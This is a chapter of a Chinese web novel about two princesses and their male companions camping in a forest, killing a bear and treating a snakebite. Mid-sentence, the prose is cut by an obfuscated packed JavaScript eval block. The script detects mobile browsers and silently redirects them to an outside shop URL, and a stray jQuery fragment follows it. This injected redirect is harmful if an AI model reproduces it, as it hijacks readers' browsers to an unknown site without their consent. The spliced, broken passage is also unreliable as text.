一个问题把姜晏问愣住了,同时愣住的还有凌月泽。
怎么办,没有喜欢吧?只是觉得他香了点漂亮了点说话好听了点胆子小想保护了点惹人怜爱了点怎么就喜欢了?
“喜欢啊,我喜欢的人挺多的!”姜晏一脸天真地笑道。
姜承淡笑,没有继续往下问,只说道:“你方才说得没错。”
“哪句?”姜晏歪头。
姜承加了些柴火:“在深山里,比宫里松快,竟妄想听几句真心话。”
姜晏顿了顿:“……对不住,小妹平日里光活着便已是惊心动魄,无瑕顾及什么喜欢不喜欢,方才说的,确实是真心话。”
“嗯,本王知道。”姜承看着火光。
凌月泽岔开了话题:“瑞王殿下与静友是如何相爱的呢?”
“……因为一场屠杀。”姜承看到静友已经睡着,“谈不上相爱,消遣而已。”
话这样说着,她却把怀中之人紧了紧,怕他受凉。
眼看着夜已深,姜承轻声对姜晏道:“你们两个离得太远,你如果想确保他晚上不被什么叼走,最好让他离近一点。——或者,离我近一点。”
“啊啊啊我离小殿下近些吧!”凌月泽慌忙起身,坐到姜晏身侧。
姜承点头,对凌月泽道:“好,我与姜晏轮流看火,你先睡吧。”
约莫过了一炷香,浅浅的呼吸声从姜晏耳边传来,她看了看已经熟睡的凌月泽,又看着燃烧的火光:“瑞王殿下不让我睡,是有什么事要交待吗?”
姜承随意扫了凌月泽一眼:“你如果现在想动手杀了凌月泽,本王会替你保密。”
姜晏无奈地笑了笑:“凌小郎君确实可信的。”
“那没事了,你睡吧。”姜承干脆道。
“总觉得,瑞王殿下除了在静友面前笑过,其他场合鲜少露笑。”姜晏看了看姜承,“起先以为你是与姜丰一样的人,但现在觉得,你与她本质上便有不同。”
姜承瞥了姜晏一眼:“……我与姜丰本质上没什么区别,不杀你是觉得没必要。”
姜晏歪头:“但昨晚我被人推下大石,是你在下面拉了我一把,对不对?”
“我不知道是你。”姜承的语气局促了些。
“你如果知道是我,会救吗?”姜晏盯着姜承,眼前比自己高了大半个头的女子,竟躲闪着眼神不肯看自己。
姜晏笑了笑,答案不必再问,于是她伸了个懒腰:“我先睡会儿,有劳二殿下了。”
睡了不知多久,姜晏被一颗小石子砸醒,醒来周围仍是漆黑一片,她揉了揉睡眼,带着鼻音:“到我放哨了吗?”
“是。”虽是这么说着,姜承却没有任何打算休息的迹象,她把静友轻轻放下,手缓缓朝腰间佩剑滑去,透过姜晏,看着她身后,“你的身后,有一头熊。”
姜晏皱眉,亦保持镇定,她缓缓转头,只见一头高大壮硕的黑熊直勾勾地盯着几人,嘴角甚至留着哈喇子。
“应该是冬眠刚醒不久饿得不行,不然不会贸然接近火光。”姜晏轻声说了一句“得罪”,把凌月泽揽到自己臂弯,缓缓将他与静友放在一起,那是离火源最近的地方。
姜承诧异地看着姜晏:“你一点儿都不怕?”
“这玩意儿在北州树林里很容易碰到。”姜晏笑道,“没啥好怕的,离火近些,它再走近便举火吓退它。”
姜承亦是淡笑:“我想猎它,明早给静友烤熊肉吃。既然不怕,你便来辅助本王。”
“啥?!”姜晏一个踉跄,险些被火撩到。
“拔剑。”姜承朝姜晏说道,而后俯身冲向那头黑熊。
“哎不是二殿下您何苦给自己找罪受啊!”姜晏无奈道,只好拔剑,靠着自己那点儿还没出师的稀碎功夫,从旁干扰那头黑熊,为姜承制造攻击机会。
姜承的功夫确实一流,这一点那几个功夫师傅都对姜晏提过,她用绝佳的轻功闪避,不断找机会出剑,她那把剑极其锋利,每刺到熊的一处,都能带着鲜血出来,二人就这么不停打断黑熊的攻势,一次一次地刺进它的血肉。
“还算有点儿功夫。”姜承对姜晏道。
姜晏笑着恭维:“比不得二殿下您精妙绝伦。”
“你方才有一点错了。”姜承一边出剑一边说道,“极度饥饿的熊不怕火,它刚刚已经要冲过来了。”
“啊?”姜晏挥剑撩了一下熊掌,“那你方才为何不说?”
姜承躲过熊的掌击:“进攻和防守是两种心态,我不能让你先害怕。”
凌月泽醒来时,已是凌晨,发现周围没有姜晏与姜承,他转身四处寻找,总算在不远处找到了背靠背坐着休息的二人,她们的身后,躺着一头黑熊的尸体。
“你们……猎了一头熊?!”
凌月泽与静友均是两眼发着亮,无比敬佩地看着眼前神情平淡的两个女子。
“嗯,今天的食物。”姜承冲静友笑道。
“你们——太厉害了!!!”静友跑二人身边,姜晏他不好触碰,便拉着姜承的手晃荡,又拉着她往河边跑,“脸都脏了,我们去河边洗洗!!”
姜承任由他拉着,似乎只要静友在她身边,她的专注力便全在这个男子身上。
凌月泽也走到姜晏身边,轻声道:“小殿下也去洗洗吧,你真厉害。”
姜晏点了点头,为了防止自己过于碍眼,她挑了个离二人较远的位置,却也能在余光里看到姜承与静友亲昵的举动。
姜承蹲在水边简单洗漱后,便静静站在静友身后,等着静友将他自己梳洗干净,而后拿着浸湿的手绢到姜承身边替她擦洗脸上的水珠,擦着擦着,姜承一把将静友抱进怀里,不由他反应过来,俯身吻住了他。
姜晏能清晰地听到静友的呢喃声,稍微侧身时,发现凌月泽也蹲在自己身边洗脸,两小只满脸通红,乖乖蹲在角落,不敢回头。
直至听到那边传来脚步声,看样子是亲完事儿了,二人才缓缓起身,正看到姜承拉着静友往熊的尸体旁取肉。
吃完熊肉,几人又一路沿着河流往西南方走去,不知走了几天,终于能依稀看到远处有炊烟,可算离人居不远了。
傍晚,姜承安排道:“先坐下休整,过了今晚,明天应该能到炊烟所在,届时再问路,到襄亲王府不是难事。”
“好!我去把捡的果子洗洗干净!”凌月泽兴奋地抓着自己手里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277516|192297||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的果子往河边跑去。
可算见到人了,虽然还是会面对姜丰那张臭脸,但能把自己这身臭烘烘的衣服换掉,能好好洗个热水澡,想想就很高兴。
只是果子洗着洗着,忽觉腿上一疼,似是被什么东西咬了一口,凌月泽下意识叫了一声。
姜晏闻声,连忙跑了过去。
静友偷偷跟姜承说道:“凌小郎君声音那么小,小殿下都能听到。”
姜承笑着锐评:“关心则乱。”
姜晏关切地看向凌月泽:“怎么了?”
“腿,疼。”凌月泽忍痛小声道。
姜晏赶紧扶他到一石块处坐好,抬眼道:“介……介意我掀开看看吗?”
“好……”凌月泽红着脸点头。
掀开裤脚,只见腿部已是红肿,而最明显的,是肿块上明显的两处尖牙咬痕,姜晏轻轻碰了一下肿块,凌月泽立即疼得倒吸凉气。
姜晏皱眉,迅速将自己的衣袖撕下,紧紧缠住肿块两边,询问道:“应该是毒蛇咬伤,你可看清是那蛇的模样。金环?银环?还是通体青绿?”
“绿……绿的,红眼睛……”凌月泽吃力地说道。
姜承也走到了姜晏身后,二人几乎同时开口:“竹叶青。”
“啊!”静友慌张道,“那该怎么办?”
姜晏专注地看向凌月泽:“忍着点儿,需要把毒血放出来。”
凌月泽点了点头,姜晏让静友把凌月泽扶住,自己则跑到火边,拿随身佩剑在火中烧了片刻,而后到凌月泽身边,小心地将伤口划开,瞬间,黑紫色的毒血流了出来,待到血流正常,她连忙用水为他清洗伤口并做好包扎。
一切做完后,凌月泽已经昏倒在了静友怀中,他额间尽是因为疼痛而冒出的汗水,双眼紧闭,眉头紧紧皱着,姜晏揽过凌月泽,对姜承道:“二殿下,我必须尽快带他寻到大夫,只能先走一步,眼下天色已晚,二位先休息罢,我们在襄亲王府汇合。”
“背好他。”姜承果断说,“一起。”
穿过黑夜森林,约莫走了两个时辰,总算看到一户简陋的木屋透着火光,静友上前敲开了农家的门,是一个五十来岁的大姐,她爽快地招呼几人赶紧进屋,并让凌月泽躺在床上。而后,她提来酒壶,为凌月泽清洗伤口,酒水洒在凌月泽腿上时,本是昏迷的他瞬间被疼醒。
金尊玉贵的小郎君不断流着眼泪,姜晏看了不忍,把自己手臂伸到他嘴边:“实在疼,便咬我的手。”
凌月泽紧闭着双唇,一壶酒洒完,再次疼晕了过去。姜晏上前扶住他,轻轻放到床铺之上。
“这个幺妹把毒血放了出来嘞,洗了伤口之后问题不大,天亮赤脚大夫会过来,现在先休息嘛。”大姐说着一口蜀味官话,安慰道,“不过最好留一个人这里守一哈,以防万一嘛。”
“我留吧。”姜晏自告奋勇,“你们先去歇息。”
“你个女娃儿留这里怕是对人家名声不好哟。”大姐提醒,指了指静友,“让这个小兄弟留嘛。”
“静友不会处理突发情况,让她留。”姜承直言,“我们保密,做什么都不会说的。”
姜晏忙道:“我也不会做什么。”